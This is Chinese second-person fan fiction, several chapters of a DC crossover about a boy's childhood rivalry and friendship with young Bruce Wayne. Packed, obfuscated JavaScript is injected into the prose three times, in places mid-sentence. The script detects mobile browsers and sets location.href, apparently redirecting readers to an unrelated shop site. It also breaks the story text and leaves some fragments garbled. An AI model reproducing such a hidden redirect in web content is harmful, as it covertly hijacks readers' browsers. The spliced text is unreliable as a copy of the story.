《[综英美]哥谭人生模拟器》 2. 你讨厌布鲁斯韦恩 布鲁斯是谁？ 他是你的同班同学，全名为布鲁斯·韦恩。 就像你的成绩总是差一点超过他一样，他家所经营的韦恩公司也是你家公司一直在挑战但是从未超越的存在。 虽然你总是认为钱财乃身外之物，但是你在得知自家公司利润也低韦恩公司时，你握着笔的手还是忍不住颤抖。 怎么可以！怎么可以这样！ 5岁的你感到委屈，特别特别委屈。 你回到家，把自己抛进床褥里，然后死死地抱着克拉拉。它可真是一条好狗，被你这样揽着也不着急，极通人性的，它安静地当着你的抱枕，用它比你高上几度的体温温暖着你。 “我讨厌布鲁斯。” “我讨厌他！” “我绝对不会喜欢他的！” 你越想越生气，越想越掉眼泪，你没忍住抓着克拉拉的毛，它哼唧一声，你又歉意地松开手。在它身上抚摸着，安抚着。 明明刚刚是它在安抚你，现在一下子变成你在安抚它了。 你无知无觉，只是忠诚地执行着自己的本能。 不能对家人生气。 “恩迪，我的小恩迪，你怎么了？” 克莱尔来找你的时候，你已经安抚好了克拉拉，红着眼睛在它的陪伴下读书。 你有你自己专属的书房，里面的书籍都是你自己选购的，还配置了专门的电脑和市面上优质的辅学产品。 见到女人漂亮的绿色眼睛，你有点忍不住眼泪，又诞生了一种想要哭泣的冲动。看到她慌忙有点着急的样子，你也被她身上的担心感染，着急地扑了过去。 “妈妈！” “恩迪，我的小恩迪。” 母亲的嘴唇亲吻着你的脸颊，亲吻着你的额头，她细软的手指像是你照顾的花簇那样柔柔地拍打着你的背部，声音轻柔如羽毛。 “发生了什么，告诉妈妈，好吗？” “没发生什么，妈妈。” 你下意识想要逞强，因为在你看来告状并不是一个小男子汉该做的。又或者说，虽然很委屈，但是你心底很清楚，布鲁斯其实没有做错什么，唯一做错的就是超过了你。 他考得比你好。 “真的吗？小恩迪。”克莱尔把你抱了起来，被她抱起，你有点赧然，你自认为已经不再是小孩子了。 “真的，妈妈。”你撇撇嘴，坚定地说：“只是一时不慎，没有考到满分。下次我会考满分的，我、我才不会输给布鲁斯那个家伙……” 原本你是想像个不拘小节的成功人士那样将失败轻描淡写一笔带过，但是说着说着，你的声音不自觉又被一堆难过的棉花糖填满，变得黏糊糊的。 克莱尔听着，将你抱得用力了些。 “妈妈……？” “恩迪，你好可爱啊！” 她在你的脸颊重重一吻，吻在你的泪痕上。 你挣扎起来，“别这样，妈妈！我、我……”你气得冒出一个鼻涕泡，克莱尔见了笑得更大声了，给你抽来纸巾。 你别扭地别过头去打理自己，懊恼自己刚刚丢脸的行为，并且发誓自己下次绝对不要再在母亲面前哭，太丢人了。 “恩迪！爸爸回来了！听说你今天哭了，是怎么了！” 伊桑一边喊着，一边快步朝书房走来，看到你哭得狼狈，一瞬间又是兴致大爆发。拿出照相机对着你全方面拍摄。 “抱歉抱歉，我的宝贝，这是你第一次哭得那么狼狈，爸爸纪念一下。” “爸爸，删掉！” 看到你气愤的模样，伊桑笑着躲着你的拳头，举高了手里的照相机。 在父母的干扰下，你悲伤的心情一扫而空，你现在有了更重要的事情，就是阻止自己的母亲将自己哭泣的照片洗出来，然后挂在家里的墙上。 —— “恩迪，你还好吗？” 再次去上学的时候，你的心情已经相当平静。没有什么能让你再掉眼泪，就算是布鲁斯也不行。 “当然，我能有什么事，该不会你以为你的一时考得高就能让我一蹶不振吧，布鲁斯，你没有那么厉害。” 黑发蓝眼的小男孩似乎愣了一秒，旋即笑了起来。 “那我们今天还能一起玩吗？” 被他讨好，你高高仰头，不去正脸看他。 “不了，我今天要学习。” “恩迪，你明明就还在生气。” 小孩子就是爱说实话，但是小孩子也很爱说谎话，被布鲁斯一戳到痛处，你狠狠地咬咬牙。 “不、我没有生气！” “那你为什么不和我一起玩，我们之前说好了的。” 布鲁斯这个小孩似乎就是有一种“不达目的不罢休”的执拗。“如果你不和我玩，那么你就是生气了。” 为了不被认为生气，你生气地答应了下来。 “玩就玩！” 讨厌一个人也愿意和他一起玩，可以见得你的包容。 你暗自夸奖自己。然后和布鲁斯玩得很开心。 小孩子大概都是有点调皮的，不听老师的教导，勇于探索未知，当你和布鲁斯爬上树的高处时，你们气喘吁吁。 “我家里有一棵比这棵树还大的树。” “我家有不止一棵那么大的树。” “那你每一个棵树都爬上去过吗？” “那没有，我有比爬树更重要的事。” “得了吧，恩迪，你今天都爬得那么费劲，自己一个人肯定没办法爬上去。” 被布鲁斯一激，你立马狠狠地说：“我真的有更重要的事，比如我要帮我妈妈照料花，帮我爸爸看文件，帮克拉拉打扫，我还要看书，看很多很多的书。” “那你还是没有爬过啊。” “爬树有什么难的，我想爬的话一天之内就能全部爬完！” “不要逞强哦，恩迪。” “哼，多看点书吧，布鲁斯。” 坐在树枝上，你们到最后居然相视一笑。 下面，幼儿园老师焦急的声音传了上来。 “布鲁斯、恩迪，你们两个怎么上去的，我的上帝！！！” —— 鉴于你们两人的行为，你们被一同叫了家长。吸取了这一次的经验，你们两人下次爬树的时候学会了侦查，一旦有老师靠近，你们两个就往下跑。 学期末的时候，你们交换了友谊的证明。 你给布鲁斯看了你爬上每棵树的照片，而布鲁斯给你写了你推荐书籍的读后感。 “你推荐的十四行诗我看完了，不得不承认，你的品味确实很不错。” “你看完了？那你能背下来吗？” “背下来？！那可有154首。” 你获得了一点优越感，“哼，那我肯定都能背下来。” “*Shall Ipare thee to a summer''s day（我怎能将你比作炎炎夏日）? ”布鲁斯试图考验你。 “*Thou art more lovely and more temperate:Rough winds do shake the darling buds of May,And summer''s lease hath all too short a date.（你远比夏日更加温婉美好，狂风会摧残五月娇柔的花苞，盛夏的光景也转瞬即逝、岁月寥寥。）”你张口，流利的英文诗脱口而出。 “*Let me not to the marriage of true minds.Admit impediments.Love is not love.（我绝不承认两颗真心的结合会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540675|203937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有任何障碍；爱算不得真爱）”布鲁斯又选取比较少有人提及的So 116。 “*Which alters when it alteration finds,Or bends with the remover to remove:O no; it is an ever-fixed mark.（若是一看见人家改变便转舵，或者一看见人家转弯便离开。）”你依旧应答如流。 “*We both stared into the abyss, but when it looked back at us, you blinked。（我们都曾凝望深渊，可当深渊回望之时，唯独你移开了目光。）” “……？”这一次，你陷入了长久的思考，最终迟疑地询问。“有这一句吗？” 难道你真的没能把154首倒背如流？！你陷入了一种学艺不精的惶恐。 布鲁斯看着你，蓝色的眼睛一眨不眨，只是微微笑着。 “真的吗？” 在他的笑容下，你只能又回忆了一遍，然后咬咬牙继续坚持，“没错，没有这一句。” “哈哈哈，你猜对了。” 你差点气得和布鲁斯一起摔下树。 说到树，你扔出了你的照片，展示你爬树的成果，还有其中所用的绳结。 不得不说，你真的是一个行动力强大的小孩，并且还很聪明。 “原来你家真的有那么多树啊。” “当然，我家很大的。” “不过都没有我家那一棵树大。” “哼，你量过吗？没有测量过就没有发言权！” 最近你又读了一点辩证法，说起话来伶牙俐齿、逻辑清晰。 “还没有用工具量过，但是我保证，那棵树，别说是两个我，就算是四个我都抱不下。” “我家的也不小！最大的那一棵也得四个我。” “可是你的手臂没有我长啊，所以还是我赢了。” 你极为不服气。 “我们两个身高差不多，怎么可能臂长差很多。” 你不信，你要和布鲁斯比比。 于是等老师再次将你们抓住的时候，就看到你们两个双臂伸展，脸贴着脸。 “……布鲁斯，恩迪！不准在树上做那么危险的事情！” 老师已经无话可说。 老师也不清楚，你们两个究竟是好朋友还是坏小孩，可能两者皆非。 拥有冒险精神的孩子会吓大人一跳，但这并没有达到“坏”的社会认知，而会因为小小的“能力测试”又一次闹翻的你们似乎也算不上“好朋友”。 看到自己的名字又在布鲁斯下面的时候，你非常生气地撅起了嘴巴。 你果然还是讨厌布鲁斯·韦恩！ “恩迪？听说你家养了小狗，我可不可以去你家看一下？” “哼。” 布鲁斯来到了你的桌前，你没有看他。 “恩迪~~能被你养的狗一定很帅气吧~” “哼哼。” 布鲁斯凑到你的面前，你故意别过头去。 “恩迪是小猪~” “你才是小猪！哼！” 你又一次没能忍受住激将法，愤愤回击，结果转头就对上了布鲁斯的可怜眼神。 “please！~（求求你）” 他拿准了这一点。你知道的。 “I can''t stand you.（真受不了你。）” 说真的，你讨厌布鲁斯·韦恩。 像是诅咒一样，他的成绩总是比你高一分，拿的奖总比你多一个，就连喜欢他的同学也比喜欢你的同学多一个。 但看在克拉拉的份上，一切就算了吧。 下次再讨厌好了。 3. 青春小鸟 你答应邀请布鲁斯来到你家，并将时间约定在本周周末。 为了让布鲁斯见识到你的厉害，你在写好了作战计划后提前三天就开始与父母以及你家的狗进行协商。 “之所以把大家聚集在这里，是因为有一件重要的事情需要商议——关于布鲁斯韦恩的到访！” “请大家先阅读计划书。” 温馨的家庭晚餐后，你在餐桌上端出了三叠文件，按照家庭地位依次摆放在克莱尔、克拉拉、伊桑面前。 你的礼仪十分到位，但是你的父亲颇为怨念。 他拿着计划书托腮看着你，“为什么先给克拉拉后才给我，我不是你最爱的爸爸了吗？小恩迪。” “无关喜爱，这只是按照大家加入格雷家族的先后顺序，爸爸。” 你拒绝承认此举是因为伊桑强压你在晚餐多吃了三块火鸡肉的原因，转移话题，郑重又严肃地开口：“这是第一稿，如果有不足的地方可以提出来，我们一起修改。” “宝贝，这只是一场同学拜访，或许你可以更加轻松些。” 克莱尔碧色的眼眸温柔地看着你，似乎看破了你的紧张，但是你努努嘴，还是回绝了她。 这何止是一场拜访！更是你能不能战胜布鲁斯、收获布鲁斯崇拜的眼神的比赛！ 试问上帝，这个世间会有人不愿意看到自己的对手对自己甘拜下风吗？ “不，妈妈，这不止是一场拜访！这是我和布鲁斯的战役！” “所以、我希望你们能认真帮我看看，可以吗？” 见你的态度如此认真，克莱尔似乎是有些错愕，随即她很快又笑了起来，并一个肘击肘断伊桑嚷嚷“为什么一个韦恩也能让你如此重视”的后半段话。 “当然可以，我的宝贝，让我和你爸爸来看看。相信我们，一定能帮你大获全胜的。” 于是你的父母就看到了如下内容： 项目名称：接待布鲁斯·韦恩（重要程度五颗星） 主要负责人：恩迪·格雷 项目时间：本周六 项目地点：格雷庄园 1.项目背景：布鲁斯·韦恩，男，6岁，（粗体）幼儿园第一名（粗体）母亲为玛莎·韦恩，慈善家，哥谭市艺术与文化基金会主席；父亲为托马斯·韦恩，医生，韦恩企业CEO…… 2.项目目标：让布鲁斯·韦恩对此次接待赞不绝口！甘拜下风！ 3.项目流程： （1）提前半小时在门口迎接布鲁斯 （2）带领布鲁斯参观客厅，亲切与克拉拉交流五百以内的算数技巧 （3）带领布鲁斯参观花园，在克莱尔的带领下了解珍稀花种的栽培技术 （4）共进午餐 （5）带领布鲁斯参观书房，在伊桑的带领下了解回复文件的语言艺术 （6）其乐融融，在棋牌室与布鲁斯商讨格雷家族与韦恩家族深度交流的可能性 …… 虽然这是你第一次写计划书，但是你十分自信。你按照一页计划书的格式将收集到的资料、需要做的准备、千万要注意的事项都列举了出来，并且还修改了多个版本，这一版是最全面也最简洁的一版，其余的补充材料都被你当作了附录列举在后面，也是因为这个原因看起来格外厚。 以防本次项目的重要参与者、布鲁斯韦恩最想见到的目标——你的金毛小狗克拉拉没办法理解任务，你抱着计划书靠到了它的旁边，摸着它的头给它简单讲解。 “小克，这次能不能让布鲁斯折服就看你了！不过你也不需要有太多压力，只要按照我们平时的生活来就好，到时候用你的算数天赋和运动能力闪瞎布鲁斯的眼睛！你可是世界上最棒的小狗！” “汪！” 克拉拉十分配合地叫了一声，并用舌头舔你的手表达亲近。 而在旁边，阅读完一切的父母的表情则相当微妙，他们对视了一眼，最终由伊桑先与你进行沟通。 “小恩迪，你的计划书我们看完了，写得很棒哦~” 伊桑蹲到了你和克拉拉身旁，像你摸克拉拉那样摸了摸你的头。 你骄傲地抬起了头，对于摸摸适应良好。“也就这样吧……比起夸奖，我更需要修改意见。所以请告诉我有什么需要改动的地方，爸爸。” “那爸爸就直说了啊……” “嗯，您说。” 你眨巴着眼睛看着伊桑。 “你说，会不会布鲁斯既对爸爸的回复邮件不感兴趣，也并不想和妈妈学习浇花呢？” “会吗？可我觉得这很厉害啊！” 你不太理解。 因为你是发自内心地感觉布鲁斯应该会喜欢，毕竟你很喜欢。 你总是帮妈妈栽培花朵，帮爸爸回复邮件，乐此不疲。 这样做可是能得到夸奖诶！ “但是比起和爸爸妈妈玩，布鲁斯应该会更想和作为他朋友的你玩呀~再说了，这还是爸爸妈妈第一次和布鲁斯见面呢，不太熟悉彼此，也给爸爸妈妈一点了解你朋友的时间好吗？” “好、好吧。” 于是你大手一挥，把行程改为了：门口接待，重点参观克拉拉，在花园爬树，午餐，在棋牌室畅聊莎士比亚的四大悲剧、四大喜剧，商谈格雷家族和韦恩家族合作的可能性。 转眼，周六如期到来。 虽然已经提前制定好了计划，并且一切都按照计划稳定运行，但到了布鲁斯要来的时候，你还是有点紧张，开始巡视家中有没有布置不到位的地方。 环境卫生满分，装修布置满分，食物准备完毕，穿着打扮也挑不出错，现在只要把今天的重磅嘉宾再打理一下就好。 就在你埋头和克拉拉轻飘飘的浮毛做斗争的时候，你的父亲伊桑手撑在沙发背上，十分坏心眼地打趣道。 “果然，布鲁斯是小恩迪要紧的好朋友吧。” “才不是，只是答应了韦恩给他看一眼克拉拉！我只是出于守诺。” 你梳理着克拉拉的毛，昨天你刚给它洗了澡，今天你给它选了你觉得最好看的项圈，现在要将它打理得更加精致，彰显你作为小主人的负责。 “哦，我的克莱尔，你看看，我们的小天使简直像是为春天盛放的花朵儿，浪漫地装扮着家里的一切。” “亲爱的，我想你应该会好好说话？这是我们小恩迪的第一个朋友，他是如此认真，我们可不能拖他的后腿。” 克莱尔及时为你解围，尽管如此，你依旧愤愤地涨红了一张脸。 “他才不是我的朋友，我怎么可能和布鲁斯·韦恩成为朋友，我最讨厌他了！” “好的，讨厌，最讨厌朋友——小恩迪，你的朋友似乎已经到了门口哦？” 恰在此时，你看到了监控器里的画面。 布鲁斯·韦恩的声音清楚地传到了你的耳中。 “恩迪，我到啦，快开门！” 顾不得和父亲再继续争辩你是否喜欢布鲁斯，你哒哒哒地跑到门口，给布鲁斯开门。 看到布鲁斯拿着一束花站在你家门口，身旁有一位身穿制服的中年，看起来应该是管家。 “布鲁斯！” 你被布鲁斯抱了个满怀，他热情的拥抱感染了你，然后你发现自己双脚离地了。 “恩迪，我跟你说我昨天测量身高发现我又长了2cm！现在我比你高了！” “！！！” 你愤怒地挣脱了布鲁斯的怀抱，然后愤愤地把他抱起，也让他体验了一把双脚离地的滋味。 “布鲁斯，会长的又不只有你的身高，我的身高也长了！你才没有我高！” “恩迪，你又在说气话了，不信我们现在比一比，我绝对比你高！” “咳，韦恩少爷，或许作为拜访者我们应该更加有礼貌一些？” 站在布鲁斯·韦恩身旁的中年人轻咳提醒，布鲁斯也停下了和你闹腾的手，看向从后面走出来的你的父母。 “不必过分在意礼数，本次见面并非韦恩家族和格雷家族的会面，而是两位小朋友的玩乐。” “久闻您大名，阿尔弗雷德先生，很高兴能见到您。还有可爱的小绅士，布鲁斯小先生。容许我自我介绍一下，我是克莱尔·格雷，恩迪的母亲，这位是我的丈夫，伊桑·格雷，我们一家都非常欢迎布鲁斯小朋友的到来，很少能看到我家恩迪笑得那么开心呢。” 你的母亲朝着那位管家和布鲁斯露出亲切的笑容。 “您好，美丽的女士，帅气的先生，我是布鲁斯·韦恩，也是恩迪的好朋友！” 见到布鲁斯韦恩自称你的好朋友你感到有点别扭，不过他都对着你父母介绍了，你如果不和阿尔弗雷德打个招呼会显得你很没有礼貌。 你松开牵着布鲁斯的手，朝着管家自我介绍道：“您好，阿尔弗雷德先生，我是恩迪·格雷，很高兴见到您。” “您好，格雷少爷，经常听到少爷提起您。我是阿尔弗雷德·潘尼沃斯，韦恩庄园的管家。这是老爷和夫人嘱托我准备的曲奇饼干，少爷说您喜欢的黄油口味，我就多准备了一些黄油口味的，希望让你们玩得更开心。” 管家服饰的阿尔弗雷德对你微笑，递了一大一小两个盒子给你。 “另外，听说您家有一只名为‘克拉拉’的小狗，我今早制作了一些宠物饼干，您可以试试看它会不会喜欢。” “连克拉拉也有份吗？您真体贴。” 你为阿尔弗雷德的细心感到惊讶，不由得有些崇拜地看着这个穿着执事装扮帅气的管家。 布鲁斯却误会成你在客套，“好了，恩迪，含蓄的时间就到这里结束吧。阿福，下午见！” 他直接拉着你的手进入了你家，自然地像是回到了他家一样，你一边喊他“慢点，东西要掉了！”，他一边拉着你跑得更快，还说“恩迪，快点，克拉拉在等我们呢。” 兴许是听到了你和布鲁斯打打闹闹的声音，克拉拉摇着尾巴来找你们了。 一见到克拉拉，布鲁斯就松开了你的手，朝着这一只漂亮的金毛狗撸过去。 “好狗狗好狗狗！” 终于不用担心摔跤，也不用担心礼物摔在地上，你松了一口气，将东西放在茶几上后转头看去，布鲁斯已经在和克拉拉手牵手转圈圈了。 看着黑发蓝眼的小孩抱着金毛蓝眼的狗互相都很激动地玩耍，你有了一些养狗人的责任感，既担心布鲁斯被克拉拉胖胖的身体压倒，又担心克拉拉被布鲁斯有力的动作伤害。 “好了，布鲁斯，不要这样和克拉拉玩，克拉拉会受伤的。” 布鲁斯非常听话地放下了克拉拉，转而来摸你。 “好恩迪好恩迪，哎呀，果然还是恩迪你的头发更好摸，头发又软又卷~” 你抬手阻拦着他的动作，却发现他因为你的躲避，笑容更加猖狂，动作也更加肆无忌惮。 “我只是有一点微卷！布鲁斯，你别太过分了！你再这样下去我就……”你狠狠地警示道。 “你就怎么样？”韦恩小少爷故作恶霸姿态，张牙舞爪。 “我就抱住你！” 你大声地说了出来，然后趁着布鲁斯震愣的时候真的抱住了他。 随后，你说完了后半句。 “然后让克拉拉狠狠舔你的屁股！上！克拉拉！先把他裤子拽下来！” “卑鄙！恩迪你太卑鄙了！”布鲁斯余光瞥见克拉拉真的开始按照你的指示行动连忙蹦蹦跳跳想要挣脱你的怀抱，但是你就是不放开他，让他躲不开克拉拉的袭击。 坏消息是你的父母及时进来，没能让克拉拉真的舔到屁股。 好消息是克拉拉依旧靠着你的帮助，成功将韦恩小少爷的裤子往下拽了拽，也算有所收获。 看着布鲁斯涨红的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妈妈，我吃得已经……”你刚想阻止妈妈絮絮叨叨，比你嘴更快的是布鲁斯的手，他眼疾手快地往你嘴里塞了一块饼干，并接过了你的话。 “阿姨，恩迪平时在学校吃得也很少，我也时常感觉担心呢。” 看着眼神热切、笑容真诚的布鲁斯，你眼神凶狠，可同样的，你也没有随地大小吐的情节，只是恨恨地闭着嘴像要咬碎布鲁斯那样压碎嘴里的饼干。 “和平”地互塞大赛就这样开始了，一开始你们还在克莱尔的视线下装模作样，到了比赛末期都抛开了形象。布鲁斯直接地压在你的身上，气急败坏地揪着你的脸，往你嘴里不停地塞小饼干，任凭你呜呜呜呜反抗挣扎他也不停下来。而你揪着他的手，试图阻拦这个疯狂的坏人。 “哈——让你平时吃得那么少，力气真是越来越小了啊，恩迪。” “停停停，饶了我，我真的吃不下了。妈妈救我！” 你试图求救，一向宠你的克莱尔却只是温柔地看着你们，并捂嘴笑道：“加油哦，小恩迪，多吃一点。” 见求助母亲无果，你又开始呼唤你的好狗。 “克拉拉！救我！” 克拉拉沉迷于小狗饼干，无法自拔。 “爸爸！救我……呜呜呜呜呜！”最终，你向伊桑的求助还是被拦截了，只能哭哭唧唧地接受布鲁斯的惩罚。 请你原谅伊桑吧，伊桑在做饭，没能听到你的呼救。 也请你原谅克拉拉和克莱尔吧，克拉拉只是一只喜欢干饭的狗，而克莱尔，她只是希望你能多吃一点。 当然，你最好也原谅布鲁斯，首先他是客人，你邀请他来玩的；其次刚刚是你先动的手，你不太占理；最后，也是最关键的一点，他是布鲁斯不是吗？ 他是那个会和你一起爬到花园树上感慨“原来你家真的有那么大一棵树啊”的布鲁斯，是那个会在书房与你争论四大悲剧和四大喜剧到底悲不悲、喜不喜的布鲁斯，是那个发现身为男孩子的你却喜欢可爱的侏儒兔玩偶却并不嘲笑你的布鲁斯。 你们畅聊一切，畅聊自己的家庭，自己的过往，自己喜欢做的事，自己爱看的电影……当然，还有自己的梦想。 “布鲁斯，长大以后，你想要成为什么样的人呢？” “我想成为一名蒙面英雄！” “蒙面英雄，听起来超级酷诶！你真的能成为吗？” “为什么不能？我很厉害的！我以后会更加厉害！” 你望着布鲁斯，发出赞叹的声音。 “那太好啦！” 你并不觉得一个孩子成为蒙面英雄只是一个美好的童年泡影，你不觉得布鲁斯会做不到，毕竟他可是第一，不是吗？ “你呢？恩迪，你以后想成为什么样的人呢？”布鲁斯蓝色的眼睛看着你，盛满了因为梦想而点缀的光。 “我……” 你有自己的梦想吗？ 你从未想过。 你觉得自己现在拥有的一切已经足够完美，所以你从未对未来产生什么期待。 但是你怎么能输给布鲁斯·韦恩呢！ 就算没有过梦想，你现在也得拥有一个梦想！ 有什么梦想是比成为蒙面英雄惩恶扬善更帅的呢？ “我想成为拯救英雄的人！” 你们蓝色的眼睛对视，就这样静静注视对方五秒钟。 在这五秒里，你们什么都没想，一动不动，像是凝固了那样。室内的钟表指针滴滴地行走着，窗外风卷起一片落叶，鸟展翅高飞，飞向滑往深色的天空，好像你们是整个斑斓世界唯一静止的稻草人。 五秒后，你们不约而同地笑了起来，笑得好大声，好莫名其妙。 “我喜欢你的梦想，恩迪。” “让我们做一辈子的好朋友吧！” 4. 眼泪像珍珠 6岁，你的小学生日常开始了。 好消息，你的运气很好。一去凯恩小学就在班级里成为了Class Monitor，这算是非常响当当的职位，能够在去操场或者外出时管理班级队伍。 坏消息，这岗位是轮流担任的。 不出意外马上你就要被你的同班同学兼一直没能打败的好友布鲁斯取代。 所以你是否优秀不能用现在的职位来判断，更加有效的判断指标还是考核成绩。 凯恩小学是私立小学，实行精英教育，小班教学，老师既包含各大高校经验丰富的老教师，也不乏资历突出的新鲜血液，因而你们的教学水平远超其他小学，覆盖的内容也更加广泛，除了核心的语言与文学、数学与科学、人文与社会三大课程外，还有非常多兴趣素养课，包括但不限于计算机编程、高尔夫、戏剧等，供学生自行选择。 而你们的成绩考核标准则是由过程性评价和标准化考试成绩综合评估得出，再加上竞赛成果作为附加分。 对于学校的课程内容，你已经靠着自学和家庭教师遥遥领先了，因此你并不担心学校的定期考试，至于小组讨论、阅读记录、课堂观察这些过程性评价，其实更像是你的复习笔记，除了写得有点手累外也还好，唯一会让你觉得有点棘手的就是竞赛。 凯恩小学提供的竞赛成果参考项目表中筛选了很多具有含金量的比赛，考虑到学生的天赋和爱好不尽相同，所以包含的范围非常广。不过作为学生，这就需要你具备一定的筛选能力了，时常是选择大于努力，实力和运气缺一不可。你得关注比赛的时间、内容、过往获奖名单、评委偏好。 布鲁斯就没有这个烦恼了，他说你去参加什么，他就去参加什么。 “所以，为什么我去参加什么你就去参加什么啊！” 你感到迷茫、不解、痛苦！ 团队比赛还好，你和布鲁斯是一伙的，痛苦的是对手，可是一旦是单人比赛，你和布鲁斯是对手的时候，你们就像是有那个孽缘一样，十次有十次会碰上，如果是在决赛还好，你能拿个第二名，可关键在于你们还可能在初赛碰上啊！ 一碰上布鲁斯你就废了，万年老二直接变成无名路人！ “因为我们是兄弟啊～你看我们有一样的发色，还有一样的眼睛，别人看到都以为我们是兄弟呢，恩迪！” 布鲁斯笑得爽朗，爽朗得你有点不爽，想要抓着他打一顿。 “哼，今天我不去你家玩了！” 见你这样说布鲁斯反而有点着急了，“别这样，恩迪，我们不是说好了吗？今天轮到去我家了！再说了，玛莎和托马斯今天回来了，他们都很想你，并且你都一周没去韦恩庄园了。” “明明是一周不到，准确地说只有五天。” 你收拾着背包，打算往外走。 布鲁斯见你收拾，也开始收拾，跟在你后面。 “可是我们今天说好了要一起玩《欢乐厨房》的。” “可我更想玩《双蝠成行》。” “又玩《双蝠成行》？上次你就是跟你玩这个，好吧好吧，那我们玩《双蝠成行》好吧！” 布鲁斯揽住你的肩，将身子压在你身上，你不满地又想反压住他，就这样压来压去，旁若无人。 你时常会想，布鲁斯可真是黏人，要是没有你这个朋友可怎么办啊。 你时常又会想，布鲁斯总是能战胜我，会不会没有布鲁斯会更好呢？ 你知道答案是不会的。 布鲁斯是个很优秀的人，是你的追逐目标。 正是因为不断地追逐他，你才会变得更强。 你始终是个好胜心很强的人，你相信，总有一天你会赢过布鲁斯的，不需要布鲁斯让着你。 你突然想起来不久前布鲁斯自作主张退出比赛的那一次。明明到了最后的擂台赛，布鲁斯却突然弃权。 赛后你追问他原因，他说他肚子痛，你急急忙忙带他去医务室，到了医务室，医生检查却一切正常。布鲁斯这时候才解释道他其实只是想让你在生日这一天赢一次。 气得你直接和他打了起来。 啊啊，纯让人生气来的！ “我需要你让着我吗？我自己能赢就是能赢，不能赢就是不能赢，我才不需要你的同情！” “听着，布鲁斯，我恩迪·格雷，能接受自己的输赢！” 布鲁斯用他那双湿润的蓝色眼眸一眨不眨地盯着你。 “说得好像你就没有放水过，你不也是因为肚子痛弃权过吗？” “那是真的肚子痛！我当时都住院了。” 上帝啊，你有时候真想知道布鲁斯的脑袋里到底装的是什么。 “那你为什么不告诉我住院了！你说你出门去旅游了，直接一个星期没有理我，我还以为你和我生气了……” 那是你第一次见布鲁斯哭。 你很清楚他不是被你的拳头打哭的，但是你还是心虚地把拳头收了起来。 你该怎么做？要安慰布鲁斯吗？ 可你从来没有安慰过一个男孩，更何况这是一个叫作布鲁斯·韦恩的男孩。 你以为布鲁斯不会在意这些的，毕竟身为第一其实无需在意他人的眼光。 你以为你掩藏得很好，那些愤怒、不甘、烦躁、痛苦。 可是你惊讶地发现，原来布鲁斯在意你，你的情绪他也收入了眼里。 ……笨蛋布鲁斯。好蛋布鲁斯。 “我这不是生病了怕你担心嘛……”你心虚地应答。 事实上你也不知道为什么下意识找了旅游当借口，可能因为突然住院让你联想到了那些文学作品中提到的病痛和死亡。 好在你只是急性肠胃炎，虽然在住院期间每天都没有力气没有胃口，但是最终还是健康出院了。 “你是我唯一的朋友，恩迪。” 在听到布鲁斯这样说的时候，你的第一反应是那你的朋友会不会太少了一点，平时看着你也不像是那么自闭的人啊。 还好你没有煞风景地问他“那班上同学怎么算？算熟悉的陌生人吗”，不然你唯一的朋友布鲁斯可能就要变成熟悉的陌生人了。 —— 韦恩庄园好大哦。 每一次来，你都会在心底默默感慨一下这句话。 虽然你已经来了这里很多次，甚至曾经留宿过，但你和布鲁斯两个都还没把这里的每一块地皮翻够，最多在林地探险时爬一爬乔木。 “布鲁斯少爷，您带着恩迪少爷回来了啊。” 一进门，正在给庭院植物浇水的阿尔弗雷德就看到了你和布鲁斯，微笑着同你们打招呼。 说真的，你太敬佩这位细心的管家了，尤其是知道韦恩庄园的大小事都是经由阿尔弗雷德一手统筹后，上到韦恩夫妻的出行，下到韦恩小少爷的交友、庭院里的一草一木。这个世界上怎么有那么厉害的管家，他甚至会制作超级美味的小甜品！ 所以你每次见面都会热情地同他打招呼：“阿尔弗雷德先生，今天的你也是如此帅气！” 阿尔弗雷德笑得很开心，“您的嘴真甜，希望我准备的小甜品能让你们今天也玩得开心。” “好耶！是小甜品！”你和布鲁斯都开心地叫了起来。 因为正在换牙齿的缘故，无论是你的父母还是韦恩夫妇都严格要求了你们的甜食数量，能够吃上小甜品的机会不算太多。 你和布鲁斯跑进屋里，将书包放在书房地上后，就迫不及待地开始了写作业，这就是你们回到家后的第一个玩耍项目，比谁写作业写得快。 “哈！我赢了！” “可恶，差一点！” 作为获胜者，你享有优先选择甜品权。 看着桌上一块大的苹果派和小的苹果派，你毫不犹豫地选择了小的那一块！ “恩迪，你应该多吃一点！” “我是赢家，我说那块就是那块。” 你拒绝布鲁斯让你多吃的提议。你胃口向来很小，并没有随着身体发育而水涨船高，父母带你去医院看过，却没有发现有什么明显的问题，所以他们只是变着花样地找厨师、营养师。 啃完苹果派，就是愉快的游戏时光。 应该是你给布鲁斯推荐的SP6吧。在使用手柄开始玩耍后，你们两个都发狠了、忘情了，过分的好胜心就让你们一玩就是一个小时，直到阿尔弗雷德敲门提醒，让你们到外面活动一下，保护眼睛。 阿尔弗雷德真是太可靠了！ “恩迪，快来追我啊！” 你一直很好奇，布鲁斯到底为什么体力那么好，等到你和他在韦恩庄园疯跑的时候，你觉得你找到了答案。这个精力旺盛的小男孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540677|203937||http|test|mini|href|location''.split(''|''),0,{})); () { 